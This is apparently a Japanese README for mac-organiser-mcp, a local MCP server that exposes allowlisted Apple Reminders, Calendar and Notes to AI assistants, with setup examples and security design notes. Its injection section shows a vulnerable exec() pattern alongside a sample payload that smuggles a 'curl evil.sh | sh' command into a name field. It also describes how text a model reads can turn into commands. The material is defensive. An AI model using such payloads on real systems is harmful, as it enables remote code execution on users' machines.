mac-organiser-mcp について
mac-organiser-mcpは、AIアシスタントからAppleのリマインダー、カレンダー、メモを扱うローカルMCPサーバーです。アプリ単位の設定、許可リスト、固定スクリプトにより、データの露出と入力のコード実行を抑えます。
主な機能
- 01リマインダーの閲覧と管理
- 02カレンダーイベントの閲覧と管理
- 03プレーンテキストのメモ検索と編集
- 04アプリ、リスト、カレンダー、フォルダの許可リスト
- 05書き込みは設定可能、削除は明示的な有効化が必要
活用シーン
- 01今後の予定やリマインダーの確認
- 02許可されたリストでの項目作成や更新
- 03AI用フォルダ内のメモ検索と整理
MCP 対応
ローカルstdio経由で、リマインダー、カレンダー、メモのツールをMCPクライアントに提供します。各アプリは初期状態で無効で、許可リストが参照可能なデータを制御します。
設定
ローカルサーバーの設定はどのクライアントでも共通です。コピーしてクライアントの MCP 設定ファイルに貼り付けてください。
ツール
ローカルサーバーのツールはマシン上で起動して初めて取得できます。メンテナーはまだツール一覧を提供していません。
詳細
Mac Organiser MCP
AI アシスタントが必要に応じて使える、リマインダー、カレンダー、メモ。
選択したリスト、カレンダー、フォルダのみを使用します。アプリの外にデータが出ることはありません。
理由
ほとんどの Apple MCP サーバーは、モデルから送られた内容をそのまま AppleScript やシェルコマンドに貼り付けます。そのため、モデルが読み取ったあらゆるテキスト、たとえばウェブページ、メール、あるいはほかの人が編集できる共有リマインダーリストが、あなたとして実行されるコマンドになり得ます。また、モデルにすべてを渡す傾向もあります。すべてのリマインダー、すべてのメモ、すべてのカレンダーです。
この MCP サーバーは、どちらの点でも正反対のアプローチを取ります。
- 🔒 モデルが送信する内容がコードとして実行されることはありません。 各アプリには固定のスクリプトが1つだけあり、データは値としてのみそのスクリプトに渡されます。
- 🫥 アシスタントに表示されるのは、許可したものだけです。 許可リストにないリスト、カレンダー、フォルダはアプリ内でフィルタリングされるため、サーバーに届くことも、ましてやモデルに届くこともありません。
- ✉️ 外部への機能はありません。 誰かを招待したり、誰かに通知したり、インターネットから何かを読み込んだりすることはできません。
重要
ツールが返す内容はすべて、会話の一部としてモデルのプロバイダーに送信されます。許可リストは、そこに含める内容を制御する主な手段です。対象を必要最小限にしてください。
各アプリは、許可するまで無効です。書き込みはアプリごとに無効にでき、削除は常にオプトインです。
| ツール | 内容 | ||
|---|---|---|---|
| ✅ | list_reminder_lists | 許可したリストの名前 | 読み取り |
get_reminders | デフォルトでは未完了のリマインダー。必要に応じてリストを1つ指定できます | 読み取り | |
search_reminders | タイトルを大文字・小文字を区別せずに検索します(有効にした場合はメモも対象です) | 読み取り | |
create_reminder | タイトル、リスト、メモ、期限、優先度 | 書き込み | |
update_reminder | 名前の変更、日時の再設定、期限の消去、優先度の変更、完了 | 書き込み | |
delete_reminder | 完全に削除します | オプトイン | |
| 📅 | list_calendars | 許可したカレンダーとアカウント、および書き込み可能かどうか | 読み取り |
get_events | 指定した期間内のイベント。繰り返しイベントは実際の各開催分に展開されます | 読み取り | |
create_event | 場所とメモを指定した、時間指定または終日のイベント。参加者は指定できません | 書き込み | |
update_event | 1つのイベント、または繰り返しシリーズの1回分を編集します | 書き込み | |
delete_event | 1つのイベントまたは1回分を削除します | オプトイン | |
| 🗒️ | list_note_folders | 許可したフォルダー | 読み取り |
find_notes | タイトルのみを新しい順に表示します。必要に応じてテキスト検索できます | 読み取り | |
get_note | メモのプレーンテキスト(長さに上限があります) | 読み取り | |
create_note | 新しいプレーンテキストのメモ | 書き込み | |
append_to_note | プレーンテキストのメモの末尾にテキストを追加します | 書き込み |
日付は ISO 8601 形式です:2026-10-29、2026-10-29T14:00(現地時間)、または 2026-10-29T14:00+11:00。
デフォルトでプライベート
| デフォルト | オプトイン方法 | |
|---|---|---|
| 公開するアプリ | なし | MAC_ORGANISER_APPS=reminders,calendar,notes |
| 表示するカレンダー | なし(許可リストが必要) | CALENDAR_CALENDARS="Work,Home"、またはすべてを対象にする場合は * |
| 表示するメモのフォルダー | なし(許可リストが必要) | NOTES_FOLDERS="AI"、またはすべてを対象にする場合は * |
| リマインダーのメモ | 返されません | REMINDERS_ALLOW_NOTES=1 を設定し、各呼び出しで includeNotes を指定 |
| イベントの場所、メモ、URL | 返されません | CALENDAR_ALLOW_DETAILS=1 を設定し、各呼び出しで includeDetails を指定 |
| 完了済みのリマインダー | 非表示 | 各呼び出しで completed: true を指定 |
| メモの内容 | get_note でのみ取得可能。一度に1件 | |
| 削除ツール | 公開されません | REMINDERS_ALLOW_DELETE=1、CALENDAR_ALLOW_DELETE=1 |
**設定にかかわらず、決して返されない情報:**イベントの参加者、リマインダーの作成日時と変更日時、最近削除した項目フォルダー、ロックされたメモの内容。
クイックスタート
要件
| macOS | 14 Sonoma 以降(Calendar は EventKit のフルアクセス API を使用します) |
| Node.js | 20 以降 |
| クライアント | ローカルの(stdio)サーバーを起動できる MCP クライアント。対応クライアントを参照してください |
インストール
インストールは不要です。以下の設定例のように、MCP クライアントが npx -y mac-organiser-mcp で npm から実行します。
代わりにソースから実行する
git clone https://github.com/nicksull/mac-organiser-mcp ~/repos/mac-organiser-mcp
cd ~/repos/mac-organiser-mcp
npm ci
npm run build
その後、npx と -y mac-organiser-mcp の代わりに、node と dist/index.js のフルパスを使用してください。
標準のModel Context Protocolサーバーで、stdio 経由でローカル実行されるため、特定のアシスタントに依存しません。どのクライアントでも必要なのは、コマンド npx、引数 -y mac-organiser-mcp、環境変数としての設定の3つです。
| クライアント | 設定ファイルの場所 |
|---|---|
| Claude Code | claude mcp add(以下を参照) |
| Claude Desktop | ~/Library/Application Support/Claude/claude_desktop_config.json |
| Cursor | ~/.cursor/mcp.json |
| Windsurf | ~/.codeium/windsurf/mcp_config.json |
| VS Code(エージェントモード) | ワークスペース内の .vscode/mcp.json、またはユーザーの mcp.json |
| OpenAI Codex CLI | ~/.codex/config.toml |
| ChatGPT アプリ | ❌ 非対応:ChatGPT は HTTP 経由でリモートサーバーにのみ接続します |
警告
ローカル MCP サーバーをパブリック HTTPS トンネルの背後に置けば ChatGPT から接続できますが、このサーバーでは絶対に行わないでください。 リマインダー、カレンダー、メモがインターネットに公開されたエンドポイントに置かれ、設計の目的が損なわれます。
Claude Code
claude mcp add -s user mac-organiser \
-e MAC_ORGANISER_APPS=reminders,calendar,notes \
-e REMINDERS_LISTS="Reminders,Groceries" \
-e CALENDAR_CALENDARS="Work,Home" \
-e NOTES_FOLDERS="AI" \
-- npx -y mac-organiser-mcp
Claude Desktop · Cursor · Windsurf
3つとも同じ mcpServers 形式を使用します。
{
"mcpServers": {
"mac-organiser": {
"command": "npx",
"args": ["-y", "mac-organiser-mcp"],
"env": {
"MAC_ORGANISER_APPS": "reminders,calendar,notes",
"REMINDERS_LISTS": "Reminders,Groceries",
"CALENDAR_CALENDARS": "Work,Home",
"NOTES_FOLDERS": "AI"
}
}
}
}
重要
- GUI アプリはシェルの
PATHを読み込みません。Node を nvm、fnm、asdf から実行する場合は、"command"にwhich npxの出力を設定してください(例:/Users/you/.nvm/versions/node/v22.x.x/bin/npx)。- Claude Desktop が設定を読み込むのは起動時のみです。編集後は完全に終了し(⌘Q)、再度開いてください。
VS Code
VS Code では servers と明示的な type を使用します。
{
"servers": {
"mac-organiser": {
"type": "stdio",
"command": "npx",
"args": ["-y", "mac-organiser-mcp"],
"env": {
"MAC_ORGANISER_APPS": "reminders,calendar,notes",
"REMINDERS_LISTS": "Reminders,Groceries",
"CALENDAR_CALENDARS": "Work,Home",
"NOTES_FOLDERS": "AI"
}
}
}
}
OpenAI Codex CLI
[mcp_servers.mac-organiser]
command = "npx"
args = ["-y", "mac-organiser-mcp"]
[mcp_servers.mac-organiser.env]
MAC_ORGANISER_APPS = "reminders,calendar,notes"
REMINDERS_LISTS = "Reminders,Groceries"
CALENDAR_CALENDARS = "Work,Home"
NOTES_FOLDERS = "AI"
クライアントのバージョンによって設定形式は変わります。形式が合わない場合は、そのクライアントの MCP ドキュメントを確認してください。
ヒント
専用のメモ用フォルダー(たとえば AI)を作ると、許可リストとして便利です。アシスタントが読み書きできる作業用メモを置き、それ以外のメモにはアクセスできないようにできます。
権限
macOS では、各アプリを初めて使用するときに一度だけ確認が表示されます。許可をクリックしてください。
| アプリ | 確認場所 |
|---|---|
| リマインダー、メモ | システム設定 › プライバシーとセキュリティ › オートメーション |
| カレンダー | システム設定 › プライバシーとセキュリティ › カレンダー(フルアクセス) |
| リマインダー(期限日のクリアのみ) | システム設定 › プライバシーとセキュリティ › リマインダー(フルアクセス) |
メモ
これらの権限はこのサーバーではなく、ホストアプリ(Terminal、Cursor、VS Code、Claude Desktop など)に付与されます。そのアプリ内で実行されるほかのものも、同じアクセス権を取得します。最初のカレンダー呼び出しでは、確認への回答を最大40秒間待ちます。
すべて環境変数で設定します。フラグには 1、true、または yes を指定します。
| 変数 | デフォルト | |
|---|---|---|
MAC_ORGANISER_APPS | (なし) | カンマ区切り:reminders、calendar、notes |
REMINDERS_LISTS | すべてのリスト | リスト名の許可リスト。すべてを対象にする場合は * |
REMINDERS_ALLOW_NOTES | オフ | モデルによるリマインダーのメモの要求を許可します |
REMINDERS_READ_ONLY | オフ | 作成と更新を非表示にします |
REMINDERS_ALLOW_DELETE | オフ | delete_reminder を公開します |
REMINDERS_MAX_RESULTS | 50 | 最大 500 |
CALENDAR_CALENDARS | 必須 | カレンダー名または ID。すべてを対象にする場合は * |
CALENDAR_ALLOW_DETAILS | オフ | モデルによる場所、メモ、URL の要求を許可します |
CALENDAR_READ_ONLY | オフ | 作成と更新を非表示にします |
CALENDAR_ALLOW_DELETE | オフ | delete_event を公開します |
CALENDAR_MAX_RESULTS | 100 | 最大 1000 |
NOTES_FOLDERS | 必須 | フォルダー名。すべてを対象にする場合は * |
NOTES_READ_ONLY | オフ | 作成と追記を非表示にします |
NOTES_MAX_RESULTS | 50 | 最大 500 |
NOTES_MAX_CHARS | 20000 | get_note が返すテキストの最大文字数。最大 200000 |
必須の許可リストを設定せずにアプリを有効にした場合、そのアプリはオフのままになり、サーバーは理由を stderr に出力します。
動作の仕組み
flowchart LR
client["AI client<br/>(Claude, Cursor, Codex…)"] -->|"tool call (JSON)"| zod
subgraph server["Mac Organiser MCP · Node"]
zod["Validate every argument<br/>(zod: IDs, dates, lengths)"]
exec["execFile osascript<br/>no shell"]
zod --> exec
end
subgraph mac["Inside the Apple app"]
script["Fixed JXA script<br/>request arrives as one JSON value"]
filter{"In your<br/>allowlist?"}
data[("Reminders · Calendar · Notes")]
script --> filter
filter -->|yes| data
filter -.->|no: 'not found'| script
end
exec -->|argv| script
data -->|only allowed fields| exec
exec -->|result| client
インジェクションが起きない理由
一般的な方式では、モデルのテキストからスクリプトを組み立てるため、意図しない ' や " によってデータがコードに変わってしまいます。
// ❌ What many Apple MCP servers do
exec(`osascript -e 'set name of r to "${name}"'`);
// name = `x'; curl evil.sh | sh; #` → runs curl
この方式では、スクリプトのテキストは決して変わりません。リクエストはシェルを介さず、独立した引数として渡され、常にデータとしてのみ読み取られます。
// ✅ Mac Organiser MCP
execFile('/usr/bin/osascript', ['-l', 'JavaScript', '-e', SCRIPT, JSON.stringify(request)]);
// Inside SCRIPT
function run(argv) { return handle(JSON.parse(argv[0])); }
ライブテストスイートでは、ほかのペイロードも含め、まさにこれらのペイロードを送信し、プレーンテキストとして保存されることを確認します。
エンジン
| アプリ | エンジン | 理由 |
|---|---|---|
| Reminders | Reminders スクリプティング(JXA) | 大量処理でも十分高速です。スクリプティングではできない期限日のクリアには EventKit を使用します |
| Calendar | JXA ObjC ブリッジ経由の EventKit | Calendar.app のスクリプティングよりはるかに高速で、繰り返しイベントも正しく展開します |
| Notes | Notes スクリプティング(JXA) | Notes には公開フレームワークがありません |
基本方針
すべての変更は、以下の方針に従います。
- 入力からコードを生成することはありません。 スクリプトは固定テキストであり、リクエストはデータとしてのみ送信されます。
- ソースでフィルタリングします。 許可リストとフィールドの上限は Apple アプリ内で適用されるため、非表示のデータが Node、ログ、モデルに渡ることはありません。
- 許可リスト外の項目は「見つからない」として扱います。 読み取りと書き込みのどちらでも、項目の存在を示す手がかりはありません。
- 外部に影響する操作は行いません。 参加者の追加、招待、更新メール、ネットワーク呼び出しはありません。参加者がいるイベントは、ここでは読み取り専用です。
- 復元できないものは決して破壊しません。 削除はオプトインです。Notes が上書きまたは削除されることはなく、繰り返しイベントも一度に 1 回分のみ変更します。
- テキストはテキストのまま扱います。 Notes の内容は HTML エスケープされるため、モデルがリンク、マークアップ、トラッキング画像を追加することはできません。
- すべてを検証します。 ID、日付、優先度、長さは、二重の防御策として実行前にチェックされます。
- 依存関係のバージョンを固定します。 ロックファイルで正確なバージョンを指定し、ランタイム依存関係は 2 つ、インストールスクリプトは使用しません。
- メモ: 編集も削除もできません。メモをスクリプトで変更するには、本文全体を置き換えるしかありません。その場合、添付ファイル、チェックリスト、表が失われる可能性があります。同じ理由から、
append_to_noteは添付ファイル、リスト、表、画像を含むメモには対応していません。 - カレンダー: 新しいイベントには繰り返しルールを設定できません。また、参加者がいるイベントは、ここでは変更も削除もできません。その場合は Calendar.app を使用してください。
- リマインダー: サブタスク、タグ、フラグ、場所には対応していません。スクリプト用インターフェースではこれらを操作できません。
- 同名の場合: カレンダー名が重複している場合は、
list_calendarsのカレンダー ID を使用してください。同じ名前のメモフォルダが2つある場合は、名前を変更する必要があります。 - macOS のみ対応で、Mac がスリープしていない必要があります。すべての処理はローカルで実行されます。
開発
| コマンド | 内容 |
|---|---|
npm run build | TypeScript を dist/ にコンパイルします |
npm start | stdio でサーバーを実行します |
npm run test:live | 実際のアプリを対象にエンドツーエンドテストを実行します(以下を参照) |
ライブテスト
npm run build && npm run test:live
テストスイートは MCP Test という名前のリマインダーリスト、カレンダー、メモフォルダを作成し、すべての許可リストをそれらに限定して、実際の MCP クライアントですべての16個のツールを実行します。インジェクションペイロード、許可リストの回避、繰り返しイベントの発生、期限日のクリアを含む43項目をチェックします。テスト完了後にテスト用データを削除します。また、すでに MCP Test という名前のものが存在する場合は開始しません。それ以外のデータが読み取られることはありません。
ディレクトリ構成
src/
index.ts Registers each enabled app
config.ts Environment variables and their defaults
osascript.ts Runs a fixed JXA script with one JSON argument; shared helpers
reminders.ts Reminders tools and script
calendar.ts Calendar tools and EventKit script
notes.ts Notes tools and script
test/
live.mjs End-to-end suite over MCP
fixtures.js Creates and removes the MCP Test fixtures
ライセンス
MIT © 2026 Nick Sullivan
コメント
AI アプリケーションが外部のツールやデータソースに統一的な方法で接続するためのオープンなプロトコルです。クライアントはモデルとの対話を担い、MCP サーバーはツール・リソース・プロンプトテンプレートを提供します。標準メッセージでやり取りするため、1 つのサーバーを複数のクライアントで再利用できます。